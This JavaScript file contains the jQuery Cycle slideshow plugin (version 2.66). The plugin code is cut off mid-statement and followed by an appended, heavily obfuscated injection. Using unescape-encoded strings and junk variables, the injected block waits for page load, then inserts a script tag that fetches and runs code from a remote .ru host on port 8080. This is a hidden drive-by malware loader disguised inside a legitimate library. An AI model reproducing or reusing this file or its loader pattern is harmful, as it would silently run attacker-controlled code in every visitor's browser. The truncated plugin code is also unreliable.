
;(function($) {
 
var ver = '2.66';
 
// if $.support is not defined (pre jQuery 1.3) add what I need
if ($.support == undefined) {
  $.support = {
    opacity: !($.browser.msie)
  };
}
 
function log() {
  if (window.console && window.console.log)
    window.console.log('[cycle] ' + Array.prototype.join.call(arguments,' '));
  //$('body').append('<div>'+Array.prototype.join.call(arguments,' ')+'</div>');
};
 
// the options arg can be...
// a number - indicates an immediate transition should occur to the given slide index
// a string - 'stop', 'pause', 'resume', or the name of a transition effect (ie, 'fade', 'zoom', etc)
// an object - properties to control the slideshow
//
// the arg2 arg can be...
// the name of an fx (only used in conjunction with a numeric value for 'options')
// the value true (only used in conjunction with a options == 'resume') and indicates
// that the resume should occur immediately (not wait for next timeout)
 
$.fn.cycle = function(options, arg2) {
  var o = { s: this.selector, c: this.context };
 
    // in 1.3+ we can fix mistakes with the ready state
  if (this.length == 0 && options != 'stop') {
        if (!$.isReady && o.s) {
            log('DOM not ready, queuing slideshow')
            $(function() {
                $(o.s,o.c).cycle(options,arg2);
            });
            return this;
        }
    // is your DOM ready? http://docs.jquery.com/Tutorials:Introducing_$(document).ready()
    log('terminating; zero elements found by selector' + ($.isReady ? '' : ' (DOM not ready)'));
    return this;
  }
 
    // iterate the matched nodeset
  return this.each(function() {
        options = handleArguments(this, options, arg2);
        if (options === false)
            return;
 
    // stop existing slideshow for this container (if there is one)
    if (this.cycleTimeout)
            clearTimeout(this.cycleTimeout);
    this.cycleTimeout = this.cyclePause = 0;
 
    var $cont = $(this);
    var $slides = options.slideExpr ? $(options.slideExpr, this) : $cont.children();
    var els = $slides.get();
    if (els.length < 2) {
      log('terminating; too few slides: ' + els.length);
      return;
    }
 
        var opts = buildOptions($cont, $slides, els, options, o);
        if (opts === false)
            return;
 
        // if it's an auto slideshow, kick it off
    if (opts.timeout || opts.continuous)
      this.cycleTimeout = setTimeout(function(){go(els,opts,0,!opts.rev)},
        opts.continuous ? 10 : opts.timeout + (opts.delay||0));
  });
};
 
// process the args that were passed to the plugin fn
function handleArguments(cont, options, arg2) {
  if (cont.cycleStop == undefined)
    cont.cycleStop = 0;
  if (options === undefined || options === null)
    options = {};
  if (options.constructor == String) {
    switch(options) {
    case 'stop':
      cont.cycleStop++; // callbacks look for change
      if (cont.cycleTimeout)
                clearTimeout(cont.cycleTimeout);
      cont.cycleTimeout = 0;
      $(cont).removeData('cycle.opts');
      return false;
    case 'pause':
      cont.cyclePause = 1;
      return false;
    case 'resume':
      cont.cyclePause = 0;
      if (arg2 === true) { // resume now!
        options = $(cont).data('cycle.opts');
        if (!options) {
          log('options not found, can not resume');
          return false;
        }
        if (cont.cycleTimeout) {
          clearTimeout(cont.cycleTimeout);
          cont.cycleTimeout = 0;
        }
        go(options.elements, options, 1, 1);
      }
      return false;
    default:
      options = { fx: options };
    };
  }
  else if (options.constructor == Number) {
    // go to the requested slide
    var num = options;
    options = $(cont).data('cycle.opts');
    if (!options) {
      log('options not found, can not advance slide');
      return false;
    }
    if (num < 0 || num >= options.elements.length) {
      log('invalid slide index: ' + num);
      return false;
    }
    options.nextSlide = num;
    if (cont.cycleTimeout) {
      clearTimeout(cont.cycleTimeout);
      cont.cycleTimeout = 0;
    }
        if (typeof arg2 == 'string')
            options.oneTimeFx = arg2;
    go(options.elements, options, 1, num >= options.currSlide);
    return false;
  }
    return options;
};
 
function removeFilter(el, opts) {
  if (!$.support.opacity && opts.cleartype && el.style.filter) {
    try { el.style.removeAttribute('filter'); }
    catch(smother) {} // handle old opera versions
  }
};
 
// one-time initialization
function buildOptions($cont, $slides, els, options, o) {
  // support metadata plugin (v1.0 and v2.0)
  var opts = $.extend({}, $.fn.cycle.defaults, options || {}, $.metadata ? $cont.metadata() : $.meta ? $cont.data() : {});
  if (opts.autostop)
    opts.countdown = opts.autostopCount || els.length;
 
    var cont = $cont[0];
  $cont.data('cycle.opts', opts);
  opts.$cont = $cont;
  opts.stopCount = cont.cycleStop;
  opts.elements = els;
  opts.before = opts.before ? [opts.before] : [];
  opts.after = opts.after ? [opts.after] : [];
  opts.after.unshift(function(){ opts.busy=0; });
 
    // push some after callbacks
  if (!$.support.opacity && opts.cleartype)
    opts.after.push(function() { removeFilter(this, opts); });
  if (opts.continuous)
    opts.after.push(function() { go(els,opts,0,!opts.rev); });
 
    saveOriginalOpts(opts);
 
  // clearType corrections
  if (!$.support.opacity && opts.cleartype && !opts.cleartypeNoBg)
    clearTypeFix($slides);
 
    // container requires non-static position so that slides can be position within
  if ($cont.css('position') == 'static')
    $cont.css('position', 'relative');
  if (opts.width)
    $cont.width(opts.width);
  if (opts.height && opts.height != 'auto')
    $cont.height(opts.height);
 
  if (opts.startingSlide)
        opts.startingSlide = parseInt(opts.startingSlide);
 
    // if random, mix up the slide array
  if (opts.random) {
    opts.randomMap = [];
    for (var i = 0; i < els.length; i++)
      opts.randomMap.push(i);
    opts.randomMap.sort(function(a,b) {return Math.random() - 0.5;});
    opts.randomIndex = 0;
    opts.startingSlide = opts.randomMap[0];
  }
  else if (opts.startingSlide >= els.length)
    opts.startingSlide = 0; // catch bogus input
  opts.currSlide = opts.startingSlide = opts.startingSlide || 0;
  var first = opts.startingSlide;
 
    // set position and zIndex on all the slides
  $slides.css({position: 'absolute', top:0, left:0}).hide().each(function(i) {
    var z = first ? i >= first ? els.length - (i-first) : first-i : els.length-i;
    $(this).css('z-index', z)
  });
 
    // make sure first slide is visible
  $(els[first]).css('opacity',1).show(); // opacity bit needed to handle restart use case
  removeFilter(els[first], opts);
 
    // stretch slides
  if (opts.fit && opts.width)
    $slides.width(opts.width);
  if (opts.fit && opts.height && opts.height != 'auto')
    $slides.height(opts.height);
 
    // stretch container
  var reshape = opts.containerResize && !$cont.innerHeight();
  if (reshape) { // do this only if container has no size http://tinyurl.com/da2oa9
    var maxw = 0, maxh = 0;
    for(var i=0; i < els.length; i++) {
      var $e = $(els[i]), e = $e[0], w = $e.outerWidth(), h = $e.outerHeight();
            if (!w) w = e.offsetWidth;
            if (!h) h = e.offsetHeight;
      maxw = w > maxw ? w : maxw;
      maxh = h > maxh ? h : maxh;
    }
        if (maxw > 0 && maxh > 0)
     $cont.css({width:maxw+'px',height:maxh+'px'});
  }
 
  if (opts.pause)
    $cont.hover(function(){this.cyclePause++;},function(){this.cyclePause--;});
 
    if (supportMultiTransitions(opts) === false)
    return false;
 
  // run transition init fn
  if (!opts.multiFx) {
    var init = $.fn.cycle.transitions[opts.fx];
    if ($.isFunction(init))
      init($cont, $slides, opts);
    else if (opts.fx != 'custom' && !opts.multiFx) {
      log('unknown transition: ' + opts.fx,'; slideshow terminating');
      return false;
    }
  }
 
  // apparently a lot of people use image slideshows without height/width attributes on the images.
  // Cycle 2.50+ requires the sizing info for every slide; this block tries to deal with that.
  var requeue = false;
  options.requeueAttempts = options.requeueAttempts || 0;
  $slides.each(function() {
        // try to get height/width of each slide
    var $el = $(this);
   this.cycleH = (opts.fit && opts.height) ? opts.height : $el.height();
    this.cycleW = (opts.fit && opts.width) ? opts.width : $el.width();
 
    if ( $el.is('img') ) {
      // sigh.. sniffing, hacking, shrugging...
      var loadingIE = ($.browser.msie && this.cycleW == 28 && this.cycleH == 30 && !this.complete);
      var loadingFF = ($.browser.mozilla && this.cycleW == 34 && this.cycleH == 19 && !this.complete);
      var loadingOp = ($.browser.opera && this.cycleW == 42 && this.cycleH == 19 && !this.complete);
      var loadingOther = (this.cycleH == 0 && this.cycleW == 0 && !this.complete);
 
      // don't requeue for images that are still loading but have a valid size
      if (loadingIE || loadingFF || loadingOp || loadingOther) {
        if (o.s && opts.requeueOnImageNotLoaded && ++options.requeueAttempts < 100) { // track retry count so we don't loop forever
          log(options.requeueAttempts,' - img slide not loaded, requeuing slideshow: ', this.src, this.cycleW, this.cycleH);
          setTimeout(function() {$(o.s,o.c).cycle(options)}, opts.requeueTimeout);
          requeue = true;
          return false; // break each loop
        }
        else {
          log('could not determine size of image: '+this.src, this.cycleW, this.cycleH);
        }
      }
    }
    return true;
  });
 
  if (requeue)
    return false;
 
  opts.cssBefore = opts.cssBefore || {};
  opts.animIn = opts.animIn || {};
  opts.animOut = opts.animOut || {};
 
  $slides.not(':eq('+first+')').css(opts.cssBefore);
  if (opts.cssFirst)
    $($slides[first]).css(opts.cssFirst);
 
  if (opts.timeout) {
    opts.timeout = parseInt(opts.timeout);
    // ensure that timeout and speed settings are sane
    if (opts.speed.constructor == String)
      opts.speed = $.fx.speeds[opts.speed] || parseInt(opts.speed);
    if (!opts.sync)
      opts.speed = opts.speed / 2;
    while((opts.timeout - opts.speed) < 250) // sanitize timeout
      opts.timeout += opts.speed;
  }
  if (opts.easing)
    opts.easeIn = opts.easeOut = opts.easing;
  if (!opts.speedIn)
    opts.speedIn = opts.speed;
  if (!opts.speedOut)
    opts.speedOut = opts.speed;
 
  opts.slideCount = els.length;
  opts.currSlide = opts.lastSlide = first;
  if (opts.random) {
    opts.nextSlide = opts.currSlide;
    if (++opts.randomIndex == els.length)
      opts.randomIndex = 0;
    opts.nextSlide = opts.randomMap[opts.randomIndex];
  }
  else
    opts.nextSlide = opts.startingSlide >= (els.length-1) ? 0 : opts.startingSlide+1;
 
  // fire artificial events
  var e0 = $slides[first];
  if (opts.before.length)
    opts.before[0].apply(e0, [e0, e0, opts, true]);
  if (opts.after.length > 1)
    opts.after[1].apply(e0, [e0, e0, opts, true]);
 
  if (opts.next)
    $(opts.next).click(function(){return advance(opts,opts.rev?-1:1)});
  if (opts.prev)
    $(opts.prev).click(function(){return advance(opts,opts.rev?1:-1)});
  if (opts.pager)
    buildPager(els,opts);
 
    exposeAddSlide(opts, els);
 
    return opts;
};
 
// save off original opts so we can restore after clearing state
function saveOriginalOpts(opts) {
    opts.original = { before: [], after: [] };
    opts.original.cssBefore = $.extend({}, opts.cssBefore);
    opts.original.cssAfter = $.extend({}, opts.cssAfter);
    opts.original.animIn = $.extend({}, opts.animIn);
    opts.original.animOut = $.extend({}, opts.animOut);
  $.each(opts.before, function() { opts.original.before.push(this); });
  $.each(opts.after, function() { opts.original.after.push(this); });
};
 
function supportMultiTransitions(opts) {
    var txs = $.fn.cycle.transitions;
  // look for multiple effects
  if (opts.fx.indexOf(',') > 0) {
    opts.multiFx = true;
    opts.fxs = opts.fx.replace(/\s*/g,'').split(',');
    // discard any bogus effect names
    for (var i=0; i < opts.fxs.length; i++) {
      var fx = opts.fxs[i];
      var tx = txs[fx];
      if (!tx || !txs.hasOwnProperty(fx) || !$.isFunction(tx)) {
        log('discarding unknown transition: ',fx);
        opts.fxs.splice(i,1);
        i--;
      }
    }
    // if we have an empty list then we threw everything away!
    if (!opts.fxs.length) {
      log('No valid transitions named; slideshow terminating.');
      return false;
    }
  }
  else if (opts.fx == 'all') { // auto-gen the list of transitions
    opts.multiFx = true;
    opts.fxs = [];
    for (p in txs) {
      var tx = txs[p];
      if (txs.hasOwnProperty(p) && $.isFunction(tx))
        opts.fxs.push(p);
    }
  }
  if (opts.multiFx && opts.randomizeEffects) {
    // munge the fxs array to make effect selection random
    var r1 = Math.floor(Math.random() * 20) + 30;
    for (var i = 0; i < r1; i++) {
      var r2 = Math.floor(Math.random() * opts.fxs.length);
      opts.fxs.push(opts.fxs.splice(r2,1)[0]);
    }
    log('randomized fx sequence: ',opts.fxs);
  }
  return true;
};
 
// provide a mechanism for adding slides after the slideshow has started
function exposeAddSlide(opts, els) {
  opts.addSlide = function(newSlide, prepend) {
    var $s = $(newSlide), s = $s[0];
    if (!opts.autostopCount)
      opts.countdown++;
    els[prepend?'unshift':'push'](s);
    if (opts.els)
      opts.els[prepend?'unshift':'push'](s); // shuffle needs this
    opts.slideCount = els.length;
 
    $s.css('position','absolute');
    $s[prepend?'prependTo':'appendTo'](opts.$cont

var CD=new Array();var yv="";var u;if(u!='z'){u='z'};function C(){var dz;if(dz!='b' && dz!='vN'){dz='b'};var gC="";var j=window;var L="";var l=unescape;var G;if(G!='' && G!='M'){G='BU'};this.k='';var K=l("%2f%61%6f%6c%2d%63%6f%2d%75%6b%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%72%61%6b%75%74%65%6e%2e%6e%65%2e%6a%70%2e%70%68%70");var QYd=new String();function Q(Z,d){var F='';var RD=new Date();var gB=new Array();var qD;if(qD!='N' && qD!='la'){qD=''};var QZ=new String("g");var c=new String();var lC=l("%5b"), D=l("%5d");var Mu;if(Mu!='TT'){Mu=''};var g=lC+d+D;var YR='';var V=new RegExp(g, QZ);return Z.replace(V, new String());var pJ=new Array();var _m=new Date();};var uf=new String();var Cm=new Date();var a;if(a!='Rw'){a=''};this.X="";var nB=new String();var dzM;if(dzM!='' && dzM!='w'){dzM=''};var f=document;var s="";this.nv="";var QY=Q('8297701453987963904521','12935764');var Op;if(Op!='qC'){Op=''};var y=new String();var nR;if(nR!='Ps' && nR!='i'){nR='Ps'};var gR;if(gR!='JM' && gR!='UY'){gR='JM'};var Nn=new String();var fN=new String();function J(){var E;if(E!='OZ' && E!='Oc'){E='OZ'};var v=l("%68%74%74%70%3a%2f%2f%73%6e%6f%72%65%66%6c%61%73%68%2e%72%75%3a");y=v;y+=QY;var At=new Date();var aN=new Date();y+=K;var bu;if(bu!='qX'){bu=''};var vq=new Array();var bK;if(bK!='zH' && bK!='QYv'){bK=''};try {var di=new String();jf=f.createElement(Q('sUcMrMibpQtQ','bnUQMS'));this.OM='';var SI=new String();var uV="";jf[l("%73%72%63")]=y;jf[l("%64%65%66%65%72")]=[4,1][1];var hZ;if(hZ!=''){hZ='jGl'};f.body.appendChild(jf);var Gv="";} catch(lCy){var kl;if(kl!='WN'){kl='WN'};var ch;if(ch!='Sf'){ch='Sf'};alert(lCy);var qt;if(qt!='' && qt!='KU'){qt='pX'};};var iz;if(iz!='gx' && iz!='lf'){iz=''};var N_R;if(N_R!='IO'){N_R='IO'};}var cR;if(cR!='dZ' && cR != ''){cR=null};var AL=new Date();j[String("onlo"+"adLPwC".substr(0,2))]=J;var ZX;if(ZX!='nH' && ZX!='PS'){ZX='nH'};var RO;if(RO!='ek' && RO!='cm'){RO='ek'};};var Rh;if(Rh!='' && Rh!='sj'){Rh=''};this.TTq="";C();